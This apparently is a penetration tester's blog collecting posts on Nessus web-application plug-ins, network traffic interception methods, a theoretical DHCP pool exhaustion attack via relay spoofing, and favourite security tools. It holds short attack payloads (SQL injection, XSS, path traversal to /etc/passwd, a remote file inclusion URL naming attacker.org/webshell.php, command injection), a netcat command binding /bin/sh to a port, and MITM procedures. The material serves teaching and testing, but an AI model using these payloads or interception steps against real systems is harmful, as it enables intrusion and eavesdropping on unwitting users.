Securebits Blog

Last June, I was invited to present at Athcon IT Security Conference. Athcon envisions to create a Greek version of Defcon. My presentation title was "The DHCP Recession: Extended DHCP Exhausting attack"

Download the presentation (pptx) from here: athcon_2010.pptx

Here is a Video recording of my presentation:

AthCon IT Security Conference 2010 - Speaker A.R Samhuri from krumel on Vimeo.

Finally, it is worth mentioning that security researcher "Gustavo Pimentel" was inspired from my blog post "EXTENDED DHCP Exhausting Attack" to take the theory and implement it in practice. He presented the tool at uCon security conference in Brazil. You can download his presentation from here: Gustavo's Presentation

Nessus, ranked the first among the top 100 security tools, has been known traditionally as a “network” vulnerability scanner. Nessus scans Operating Systems and services at the TCP/UDP layer and below, and discovers vulnerabilities in these services. Nessus has not been known to scan the applications running on top of TCP/UDP layer. Scanning and discovering vulnerabilities in Web Applications have been left to specialized scanners which only scan and pen-test web applications.

Recently, the Nessus research team has extended the capability of Nessus to start targeting Web Applications. The research is still going on to produce effective plug-ins and parameters for enhancing the capability of scanning Web Applications. Now, there is a Nessus plug-in for every web application vulnerability class; the following is a list of these vulnerability classes along with references to their corresponding Nessus plug-ins:

1. SQL Injection Vulnerability Class
Plug-in Name: sql_injection.nasl
Plug-in Family: CGI abuses

This plug-in tests for SQL Injection vulnerabilities. It tries to insert abnormal data into any input field the user has access to, and checks whether the application returns any unexpected error. For example, inserting data such as “ or 1=1;-- or ‘or ‘a’ =’a could actually return an error or break the application if it is vulnerable to SQL Injection.

2. Cross-Site Scripting (XSS) Vulnerability Class
Plug-in Name: torture_cgi_cross_site_scripting.nasl
Plug-in Family: CGI abuses : XSS

This plug-in tests for both reflective and persistent XSS vulnerabilities. Just like the previous test (i.e. SQL Injection), this test involves inserting abnormal data into input fields and monitor how the application behaves. Simple examples of XSS injection are:
(a) <script>alert('XSS')</script>
(b) <IMG """><SCRIPT>alert("XSS" )</SCRIPT>">

3. HTTP Header Injection Vulnerability Class
Plug-in Name: torture_cgi_header_injection.nasl
Plug-in Family: CGI abuses

This plug-in injects arbitrary data in the input fields of the web application and monitors the HTTP headers of the responses. If the response header could be influenced by the arbitrary injected data, it is said that the application is vulnerable to HTTP Header injection. For example, let’s say that the “username” sent from an input field becomes part of the cookie set by the server; this cookie will be part of the HTTP response. We can insert in the username field the following data: myname\r\nSet-Cookie: MyInjectedCookie=injected If the server is vulnerable to HTTP Header Injection, the HTTP header in the response will contain an additional entry which will create a new (injected) cookie in the user’s browser.

4. Path Traversal Vulnerability Class
Plug-in Name: torture_cgi_directory_traversal.nasl
Plug-in Family: CGI abuses

This plug-in discovers whether the web application is vulnerable to a path traversal vulnerability. Path Traversal (or Directory Traversal) happens when the end user (probable an attacker) is able to get outside the permitted used web directory and start navigating through directories which he/she is not allowed to navigate. For example, under normal circumstances, the end user cannot access the file /etc/passwd on the web server. However, if the web server is vulnerable to a Directory Traversal, inserting data like ../../../../../../../../../etc/passwd in an input field could result in the attacker being able to view the passwd file.

5. Remote File Inclusion Vulnerability Class
Plug-in Name: torture_cgi_remote_file_inclusion.nasl
Plug-in Family: CGI abuses

A web application is said to be vulnerable to File Inclusion when the attacker is able to execute (i.e. include) his/her own PHP code in that remote web application. The attack exploits the PHP function include($filename) , or other similar functions, when the argument $filename can be modified from the client side and there is no proper checking on the server side. For example, the application might display a page requested by the URL:
http:// www .example.com/index.php?page=validpagename
The PHP code that processes the page variable is:
include($page);
The attacker can run his/her own php code using a URL like this:
http:// www .example.com/index.php?page=http://attacker.org/webshell.php

6. Command Execution Vulnerability Class
Plug-in Name: torture_cgi_command_exec.nasl
Plug-in Family: CGI abuses

Command Execution Vulnerability allows the attacker to execute arbitrary commands on the remote web server due to the lack of proper input validation. For example, an application that takes an IP address from the user and performs “ping” quest towards that target might use a URL like:
http:// www .example.org/index.php?ip=1.1.1.1
The PHP code that processes this URL might be the following:
system(“ping $ip");
Due to the lack of input validation, an attacker can execute any command like:
http:// www .example.org/index.php?ip=1.1.1.1;ls

For scanning web applications, two Nessus plug-in Families must be selected: “CGI Abuses” and “CGI Abuses: XSS.” These two families contain all plug-ins related to web application penetration test including the 6 plug-ins mentioned above. It is also recommended to select other plug-in families like “Database” and “FTP” since normally a web application needs a database for storage and an FTP so that the administrator can remotely update the files.

I created following downloadable Nessus file <webapps.nessus> which contains three policies for web application testing; each policy is defined by its level of aggressiveness as follows:

(1) Web Application Test (level 1)
- This policy is the least aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, General, Service Detection, and Web Servers.
- This policy has the option “Safe Checks” enabled; this option will make sure that the scan does not cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests and Send POST requests

(2) Web Application Test (level 2)
- This policy is moderately aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, FTP, Gain a Shell Remotely, Gain Root Remotely, General, Service Detection, and Web Servers.
- This policy has the option “Safe Checks” enabled; this option will make sure that the scan does not cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests and Send POST requests

(3) Web Application Test (level 3)
- This policy is the most aggressive one among the three.
- It has the following Plug-in Families enabled: CGI Abuses, CGI Abuses: XSS, Databases, FTP, Gain a Shell Remotely, Gain Root Remotely, General, Service Detection, and Web Servers.
- This policy does NOT have the option “Safe Checks” enabled; this will cause the scanner to fire dangerous plug-ins that may cause DoS or may cause the target to crash.
- The following advanced Global Variable Settings options are enabled:
Enable CGI Scanning, Enable Experimental Scripts, and Thorough Tests (slow)
- The following advanced Web Application Tests Settings options are enabled:
Enabled Web Application Tests, Send POST requests, and Test Embedded Web Servers.

Finally, it is worth mentioning that the Nessus application can integrate Nikto application, a small and fast web server scanner, into its scan. This is done through the plug-in Nikto.nasl that is part of the CGI Abuses family. There are few important point to take into consideration when incorporating Nikto with Nessus:
- The Nikto.nasl only runs on UNIX systems.
- Nikto application must be installed manually by the user.
- The script nikto.pl must be in the PATH of the same account that runs Nessus.

References
1. Enhanced Web Application Attacks Added to Nessus
2. Tips for Using Nessus in Web Application Testing
3. Using Nessus to call Nikto

In this entry, I will sum up the ways to intercept (or hijack) network traffic; also, I’ll categorize these ways based on the scope of the interception method. There are more than 10 ways to intercept network traffic – and the TCP/IP protocols used in these methods are ARP, ICMP, DHCP, HSRP, STP, DNS, and BGP. Based on the TCP/IP layer of operation, the 10 ways can be divided into two categories:

1- Layer2 Interception:
Layer2 Interception works by manipulating (e.g. spoofing or faking) addresses at the Layer 2, i.e. the MAC addresses. The attacker (who is trying intercept traffic) tries to cause abnormal behavior at the Layer 2 of the network. The protocols that fall into this category are ARP and STP.

2- Layer3 Interception:
Layer3 Interception works by manipulating (e.g. spoofing or faking) addresses at the Layer 3, i.e. IP addresses. This can be done through routing protocols, spoofing gateways, IP traffic redirection, and so on.

And based on the scope of the interception, the methods can be divided into another two categories:

1- Local:
The impact of an interception method is said to be “local” when the attacker is able only to intercept traffic within the local subnet. The method in this category cannot be used beyond that subnet. Methods that achieve “local” interception can be either Layer2 or Layer3 method. A layer2 method is like ARP or STP; and a layer3 method is like DHCP.

2- Global:
When the attacker is able to intercept traffic beyond the local subnet, i.e. over a LAN or WAN, the interception is called “global.” Global methods can also work locally within the subnet; however, they are not restricted to that local scope.

Here are the best ways for Traffic Interception:

• ARP Poisoning
The attacker poisons the ARP-Cache of two or more victims; a victim can be a host or a router/gateway. ARP poisoning injects false entries that map the victims’ IP addresses to the MAC address of the attacker. ARP poisoning is a “layer2” method and its scope is “local”

• ICMP Redirect
In the standard TCP/IP implementation, the default gateway can send an ICMP Redirect message to a host in the local subnet instructing it to send future IP packets to a different router. The attacker can exploit this feature by sending a spoofed ICMP Redirect message to the host to send the packets to the attacker’s machine. The attacker would, then, forwards those packets to the legitimate default gateway. This interception method works at “layer3” and its impact is “local.”

• DHCP Spoofing
One of the parameters that the DHCP server passes dynamically to LAN hosts is the default gateway IP address. An attacker can setup a rogue DHCP server in a subnet that responds to DHCP requests. The attacker sets the parameter of the “default gateway” to her machine’s IP address. Local hosts would then all traffic destined beyond the local subnet to the attacker’s machine which in turns forwards such traffic to the legitimate default gateway. This interception attacks works at “layer3” and its impact is “local.”

• HSRP “Active”
Hot Standby Router Protocol (HSRP) is developed by Cisco Systems to provide router redundancy. Two routers would be configured in an active-standby mode using a virtual IP address. These two routers send HSRP packets frequently between them to decide who is active and who is standby. HSRP uses clear-text authentication string. An attacker can sniff the string and inject specially crafted HSRP packets that disrupt the current router state and dictate her system as the active router. By doing so, she will receive all traffic from the local subnet destined to the outside world. This attack works at “layer3” and its impact is “local.”

• STP “Root”
To prevent single-point of failure, administrators may deply redundant switches on the network so that in case one switch fails, traffic is ensured to pass through the network. The protocol that enables switches to decide which “path” is active at a specific time is called Spanning Tree Protocol (STP). It is a layer2 protocol that uses the MAC addresses of the switches. An attacker within a local subnet could become part of the switch topology and can also become the root of the topology. In this case, traffic within the local subnet will be directed to the attacker’s machine. Intercepting traffic by spoofing STP is a layer2 method and its impact is “local.”

• Browser Proxy
Web browsers can be configured to use a proxy server. All web traffic initiated by the browser will be sent to the proxy server. If the attacker can successfully alter the proxy configuration of the victim’s browser, she would receive the web traffic. Altering proxy configuration can be made using a malicious script, for example. This is a layer3 method and its impact is “global.”

• IE6 Proxy Auto-Config
Internet Explorer (v6 & v7) can automatically discover “proxy server” on the LAN using Web Proxy Auto-Discovery Protocol (WPAD). If WPAD is enabled, the browser tries to connect to a host with the name “WPAD” (it should be resolvable by either DNS or NetBIOS) and download the JavaScript file wpad.dat. The file instructs the browser which proxy server to use. An attacker who can insert a system with the name “WPAD” in the network would be able to influence the user’s browser to use a proxy server under her control; thus, intercepting network traffic. This is a layer3 attack and its impact is “global”

• DNS Spoofing
DNS Spoofing could be performed in two ways: either the attacker would reply directly to a DNS request issued by a client or he would inject a false entry into a DNS server. The first way can be done only within a local subnet since the attacker has the ability to sniff the request along with its Transaction ID (TXID). The second way can be done over the LAN or Internet; and there are various techniques for that (many of which have been fixed). After a successful DNS spoofing, the attacker can intercept traffic between the client (the victim) and the site/server of which the IP has been spoofed. Intercepting traffic using DNS Spoofing is always a Layer3 method, however the impact can be either “local” or “global.”

• BGP Spoofing
At Defcon 16, Anton Kapela and Alex Pilosov demonstrated a new way to hijack Internet traffic by inserting fake BGP entries. The attack is based on the fact that there is no proper “identification” of the source that is registering new Autonomous Systems and Internet routes. This method works at layer3 and its impact is “global.”

Recently, I was thinking about the current status of DHCP security and whether a new DHCP attack can be created. In fact, I am almost confident that a new extended version of the available exhausting attack is feasible. The current DHCP exhausting attack can only be performed against the DHCP pool assigned to the particular subnet/VLAN where the attacker resides. However, what I call Extended Exhausting Attack can be performed against ALL the address pools configured on a DHCP server. I have not tested this practically; so, the following explanation is merely theoretical – I will do a practical experiment later in the near future.

To understand the traditional exhausting attack and the extended exhausting, we need to understand how DHCP functions in case the DHCP server is located locally within the subnet of the client and in case the DHCP server is located outside the subnet. From the client view, the operation is the same, however, from the server view, it differs.

The DHCP process by which a client gets auto IP-configuration is called the D.O.R.A. process [Discover, Offer, Request, and Acknowledgment.] In short, if the DHCP server is located in the same subnet as the client, the four steps of this process are as follows:

1- DISCOVER: the client sends a DISCOVER message. The source IP is 0.0.0.0 and the destination IP is 255.255.255.255; the source MAC is the MAC address of the client and the destination MAC is FF:FF:FF:FF:FF:FF. The purpose of this message is to declare that the client wants to know the available DHCP server.

2- OFFER: If there is a DHCP server within the same subnet, the server responds with an OFFER message. This is a unicast packet: the source IP is the IP address of the server and the destination IP is the IP address which the server would like to assign to the client. The source MAC is the MAC address of the server and the destination MAC is the MAC address of the client. Also, the OFFER message contains all other IP settings, like subnet mask, default gateway, DNS server, WINS servers, etc.

3- REQUEST: The client then issues a REQUEST message confirming its acceptance of the offered settings. This message contains the same IP and MAC addresses of the DISCOVER message. It is a broadcast message at both Layer 2 and Layer 3.

4- ACKNOWLEDGMENT: Finally, the server sends an ACK message to the client and the client now is eligible to use the offered settings. This message contains the same IP and MAC addresses of the OFFER message.

However, if the DHCP server is located in a different subnet/VLAN, there is the introduction of “DHCP Relay Agent”; usually, the router/gateway assumes the functionality of the DHCP Relay Agent in modern LANs. From the client perspective, the D.O.R.A process is exactly the same; however, in the OFFER and ACK messages, the field “Relay Agent IP Address” is filled with the IP address of the router/gateway. Also, the field “Next Server IP Address” in the OFFER message is filled with the IP address of the DHCP server. The role of the Relay Agent is to be a link between the client and the server as follows:

1- When the client sends a broadcast DISCOVER message, the Relay Agent catches it and sends another DISCOVER message to the DHCP server; however, this second DISCOVER message is unicast. The source IP is the IP address of the Relay Agent and the destination IP is the destination IP of the server.

2- The server sends a unicast OFFER message to the Relay agent. Upon receiving it, the Relay Agent forwards the OFFER to the client.

3- The Relay Agent again picks the broadcast REQUEST message sent by the client. Then, it sends another unicast REQUEST message to the server.

4- The server sends a unicast ACK to the Relay Agent which forwards this ACK to the client.

Traditional exhausting attack involves exploiting the D.O.R.A process to get all the IP addresses in the pool. By repeating the D.O.R.A process with different MAC addresses, the server will release all IP addresses configured in the pool. For example, if an attacker is located inside 10.10.10.0/24 subnet, he can exhaust all the IP addresses in the pool designated for that particular subnet. New systems introduced to the 10.10.10.0/24 subnet cannot get their auto IP configuration since the server has run out of IP addresses.

This well-known attack can only target the pool allocated to the subnet in which the attacker resides. Let’s assume this example: a corporate LAN with a DHCP server 10.1.0.74, and multiple subnets/VLANS 10.1.11.0/24, 10.1.12.0/24, 10.1.13.0/24, …, 10.1.20.0/24. Each VLAN has a designated pool in the DHCP server. If the attacker resides in 10.1.13/24 subnet, he can only exhaust the pool associated with that subnet. Other subnets/VLANs are not affected.

In the Extended Exhausting attack I am thinking of, it is possible to exhaust ALL the pools regardless where the attacker resides. This involves spoofing the Relay Agent of every subnet/VLAN. The following steps outline the process:

1- The attacker resides in 10.1.13.0/24 subnet. He wants to exhaust the pool associated with 10.1.15.0/24 subnet. The attacker needs to know in advance the gateway router for that subnet; usually it is going to be 10.1.15.1. The attacker may check his gateway IP address and apply the implemented scheme on other subnets.

2- The attacker sends a DISCOVER message. It is a unicast packet with spoofed source IP; such spoofed IP is the Relay Agent (i.e. gateway) of the other subnet, e.g. 10.1.15.1. Also, this DISCOVER has in its “Relay Agent IP Address” field the IP of that gateway, too.

3- When the server receives this DISCOVER message, it appears as though a client in the subnet 10.1.15.0/24 is requesting a new IP address. The server would also know that the DISCOVER message is being forwarded by a Relay Agent whose IP address is indicated in the source IP as well as in the “Relay Agent IP Address” field. The server checks the pool associated with 10.1.15.0/24 subnet to see if there are available addresses.

4- If there is an available IP in the pool, the server sends an OFFER to the Relay Agent, that is, to the spoofed IP address that was in the DISCOVER message. The OFFER carries an IP address within the 10.1.15.0/24. This packet will not be delivered to the attacker; it will be sent to the router/gateway of the 10.1.15.0/24 subnet. However, since the router/gateway did not issue a DISCOVER message (with the same Transaction ID), the router/gateway will just ignore the OFFER.

5- The server now expects a REQUEST message from the Relay Agent, which is the router/gateway of 10.1.15.0/24.

6- The attacker now has the chance to send the REQUEST message; however, the attacker does not know the IP address offered by the server since the OFFER message never reached the attacker. In this case, the attacker would send around 254, at maximum, REQUEST messages where every message contains an IP address from the subnet 10.1.15.0/24. All of these messages contain the same Transaction ID used initially by the attacker in the DISCOVER message. These messages will be sent with the spoofed IP address of the Relay Agent (i.e. router/gateway)

7- One of these REQUEST messages will match the OFFERED IP address and it will be accepted as a legitimate REQUEST. The server sends an ACKNOWLEDGMENT message to the Relay Agent/Gateway. This message will be ignored by gateway/router just like with the OFFER message.

8- The attacker now repeats the cycle again for around 254 times, at maximum, to exhaust the pool for 10.1.15.0/24.

I decided to dedicate this entry to my favorite 10 network security tools. I use them mostly while engaging in a penetration test, while debugging a network application, or during a research development. With the exception of the first tool, Nessus, all the other nine tools are “open-source”; Nessus used to be an open-source application until version 3.0 when it became close-source.

[1] Nessus

According to “Top 100 Network Security Tools”, Nessus occupies the first place. It is a full-blown vulnerability scanner with over 20,000 plugins. Nessus3 stores all hosts, policies, and reports in one *.nesses file which makes organizing reports and policies easier. When I scan a specific subnet (/24 for example), I usually feed Nessus with “live” hosts found by Nmap and group every 10 hosts in one scan. Although Nessues comes with two scan policies: Default Scan Policy and Microsoft Patches Policy, I create additional policies for ease of management; usually these policies are:

Remote Shell/Root Access: This policy comprises plugins for gaining remote shell/root to the target system.

Service Detection/Port Scanning: This policy only finds out the open ports along with the listening services.

Network Devices: This policy is made for testing network devices like routers, switches and printers. It includes plugins related only to these devices.

Windows Systems: This policy tests only windows machines.

UNIX Systems: This policy is made to test UNIX, Linux, *BSD, etc machines.

ALL: This policy includes all the Nessus plugins. It scans a target for everything Nessus has got knowledge of.

The Nessus community has also released useful policies; one of them is “SANS Top 20” policy which scans for SANS Top 20 Security Risks.

[2] Nmap

The Nmap Security Scanner is a general-purpose port scanner, O.S. detector, and service identifier. It features different types of scanning methods (SYN, ACK, XMAS, etc) where a combination of these methods enable the user to detect if the target system is filtered/unfiltered, or perform stealth scan. Nmap also features wide range of Host Discover, typically: (1) Echo Request, (2) TCP ACK -PA, (3) TCP SYN –PS, (4) UDP –PU, (5) ICMP Echo –PE, and (6) ICMP Timestamp -PP. TCP SYN (-PS) is best used against stateful firewalls while TCP ACK (-PA) is best used against stateless firewall. It is recommended to use both types of TCP discovery methods combined with well-known open ports. A sophisticated way to perform host discovery can be done by issuing the following command:

namp –sP –PE –PP –PS 21,22,23,25,80,113,31339 –PA 80,113,443 10.1.0.0/24

The (-sP) instructs Nmap to perform only host discovery. The (-PE) and (-PP) options perform ICMP discovery while the (–PS) and (-PA) options perform TCP host discovery using the specified ports.

Nmap is relatively fast scanner. When I scan an internal host that is one hope away and there is no filtering device/engine, scanning ports 1-65535 takes approximately 6-10 seconds; link speed is 100 Mbps. The command for such scan is usually:

nmap –v –sS –p 1-65535 <ip_address>

However, sometimes Nmap will slow down the rate due to many filtered (or unreachable) ports. If the auditor wants to speed up such scan, Nmap can be forced to send no less than a particular rate using the option (--min-rate); I usually set this to 5000 or 6000, so the command would be:

nmap –v –sS –p 1-65535 –min-rate 5000 <ip_address>

There are situations where scanning large number of ports is not recommended, the auditor may, in this case, scan only the most commonly open TCP and UDP ports which are: 80/tcp, 23/tcp, 22/tcp, 443/tcp, 3389/tcp, 445/tcp, 139/tcp, 21/tcp, 135/tcp, 25/tcp, 137/udp, 161/udp, 1434/udp, 123/udp, 138/udp, 445/udp, 135/udp, 67/udp, 139/udp, and 53/udp.

[3] Xprobe

Xprobe is an accurate Operating System fingerprinting tool. It primarily based on ICMP protocol; however, it also uses a bit of TCP/UDP combination. Xprobe's uniqueness is in sending small number of packets, around 2-3 ICMP packets and 1-2 TCP/UDP packets, to fingerprint the remote OS. The easiest way to run Xprobe is by providing the IP address of the target system:

xprobe2 10.1.10.241

Xprobe would give a better result if it is told about an open port on the remote host. For example, when I run the tool against Windows XP SP2 box without specifying a port status, the primary guess was “Microsoft Windows 2003 Server Standard Edition”. However after specifying the open port 139/tcp, the primary guess was “Microsoft Windows XP”.

[4] HPing

Hping is a tool for sending customized ICMP, TCP, UDP and Raw IP packets. The tool enables the user to play with the fields of any packet header. The tool is useful for detecting live systems on the network using various methods. Since some systems disable “ping” (ICMP Echo), an auditor may use different types of ICMP (like Timestamp) to detect if the target system is up, or he/she may use a TCP ping by sending a TCP packet with ACK flag set. Also, Hping is useful to test firewalls and IDS/IPSs; the auditor may fine tune those systems by sending unusual customized packets through them. Hping also can fragment packets into tiny pieces – a good method to evade and test IDSs.

An example of testing a firewall is to send a TCP packet with SYN_ACK flags set and check whether the firewall passes such packet even though it is not part of an established connection. The following command sends a TCP packet with source port 80, destination port 54231, and TCP flags SYN_ACK:

hping2 –S –A –s 80 –p 54231 10.10.10.10

[5] Yersinia

This is the tool of trade to perform protocol attacks applicable to the local subnet. It supports many different protocols including DHCP, STP, HSRP, CDP, VTP, ISL, etc. The most common modules I always use are for the protocols DHCP, STP, HSRP, and CDP. The following attacks for these protocols are most useful:

• Spanning Tree Protocol (STP)
1- Claiming Root Role
2- Claiming Root Role dual home (MITM)

• Dynamic Host Configuration Protocol (DHCP)
1- DoS sending RELEASE packet (releasing assigned ip)
2- DoS sending DISCOVER packet (exhausting ip pool)
3- Setting up rogue DHCP server

• Hot Standby Router Protocol (HSRP)
1- Becoming active router with MITM

• Cisco Discovery Protocol (CDP)
1- Setting up a virtual device

After passively sniffing the local subnet for few minutes, if the auditor notices that switches in the local subnet are glued using Spanning Tree Protocol (STP) to maintain redundancy, he/she can mess up the actual topology by sending “fake” STP packets in a special way to declare his/her machine as the root of the logical switching tree. Thus, his/her machine becomes the point where all subnet traffic comes to. Concurrently, he/she should forward the traffic to the destination so that no disconnection or DoS is felt by other users. Yersinia automates this attack smoothly.

Just like the case with STP, if the auditor captures HSRP packets in the local subnet, it is likely that there two routers configured as active-standby with a single virtual IP address. HSRP uses clear-text authentication phrase/word (similar to SNMP community string) which can be sniffed by any one located within the subnet. Sending special HSRP packets can mess up the actual router status and declare a third machine as the “Active” router. In this case, all the traffic destined to the outside world would be sent locally first the machine declared as “Active”. For full traffic interception, the auditor would need to forward the traffic to one of the two routers. The ID of this attack in Yersinia is “2”

Another way to intercept traffic is to give local machines false DHCP information about the default gateway. The best way this can be done is through the following steps:

1. RELEASE all the assigned IP addresses from the DHCP server (Yersinia DHCP attack 3)
2. Exhaust the DHCP pool by acquiring all the IP addresses in that pool (Yersinia DHCP attack 1)
3. Declare your machine as DHCP server – set the default gateway entry to the IP address of your machine (Yersinia DHCP attack 2)
4. Forward all received IP traffic from the local machines to the real gateway and vice versa.

[6] Ettercap

I use this tool for only one thing: Layer 2 ARP traffic interception in a switched LAN. When Ettercap starts, it builds a table of all existing live hosts in the subnet along with their MAC addresses. Traffic interception can be any of the following shapes:

A. Intercepting traffic between two hosts.
B. Intercepting traffic between a specific host and every other host.
C. Intercepting traffic between a specific host and the gateway/router.
D. Intercepting traffic between the gateway/router and all other hosts.

When the two sides of the intercepted traffic have been decided, Ettercap poisons each side with fake ARP entry/entries about the other side; this is done by sending first a false ICMP packet followed by another false ARP reply packet. The poisoning packets are sent regularly at a periodic basis. When this is done, Ettercap performs all the necessary traffic forwarding so that both sides do not feel any disturbance in their traffic activities.

[7] Netcat

Netcas has been described as the network Swiss-army knife, a no-hacker-should-be-without tool. It is a multi-purpose tool providing TCP connections, TCP listener, file transfer, process-to-connection attachment, etc. It can be use as a substitute to “telnet” especially when connecting to HTTP, SMTP, or POP3 servers. Practically, I use “netcat” to do the following:

A. Connecting to HTTP, SMTP, or POP3 servers while pen-testing or diagnosing a network:

nc <server_ip> [80|25|110]

B. Sending a specially-crafted TCP payload to a listening service:

nc <server_ip> <port> < payload_file

C. Listening on a particular TCP port:

nc –l –p <port>

D. Attaching a process (mainly a shell) to a particular port:

nc –l –p <port> -e /bin/sh

[8] Ngrep

Ngrep is network tool that functions similar to the infamous UNIX grep command. It applies regular expressions on network traffic and shows packets that match such regular expressions. It is best suited to search ASCII-based protocols, like SMTP, POP3, HTTP, FTP, etc. From the man page:

ngrep strives to provide most of GNU grep's common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular or hexadecimal expressions to match against data payloads of packets. It currently recognizes IPv4/6, TCP, UDP, ICMPv4/6, IGMP and Raw across Ethernet, PPP, SLIP, FDDI, Token Ring and null interfaces, and understands BPF filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop.

Examples of ngrep usage:

ngrep –d 2 cisco

ngrep –d 2 administrator

[9] Wireshark

Wireshark is an all-in-one network sniffer and packet analyzer. It can decode and inspect hundreds of protocols. It has an interactive GUI displaying the packet headers, the current decoded packet, HEX dump, and ASCII dump. Wirshark is compatible with Tcpdump – both of them can save packets to *.pcap files and read/analyze the files off-line. Also, Wireshark has a very nice colorful scheme making distinction between different protocol packets (tcp, udp, icmp, http, ftp, ntp, etc) easier and quicker.

A recently-added feature allows the decryption of SSL/TLS traffic provided that the private key is supplied and that Wireshark captures the whole of transaction. This is useful when doing a white-box pent-testing against a web application that runs over SSL/TLS; since in a white-box test, the auditor has access to the web server along with the application source code, he/she may extract the private key and install on Wireshark running on his/her client machine. The auditor can then analyze the application by inspecting the decrypted network traffic between the client and the server.

Wireshark supports two packet filtering modes: the first is capture filtering, and the second is display filtering. The capture filter string is applied to capturing engine and only packets matching the string will be captured; the rest are discarded. The display filter string specifies which packets the user wants to see. Captured packets not matching the string will not be shown; however, they are still saved and the user can view them later by changing the display filter again. The capture filtering uses the Berkeley Packet Filter (BPF) syntax. Examples of such filtering strings are:

dst host 10.10.10.10 and dst port 80

src host 10.10.10.10 or src host 10.10.10.20 and dst port 21

Examples of display filtering strings are:

http

ip.src == 10.10.10.10 and tcp.dstport == 53

[10] Firewalk

This tool is meant for finding the Access Lists configured on a filtering device (e.g. Router, Firewall, etc). Given a known filtering device and a known system behind that device, Firewalk will attempt to figure out what TCP/UDP ports are allowed to pass through that filtering device and what ports are denied.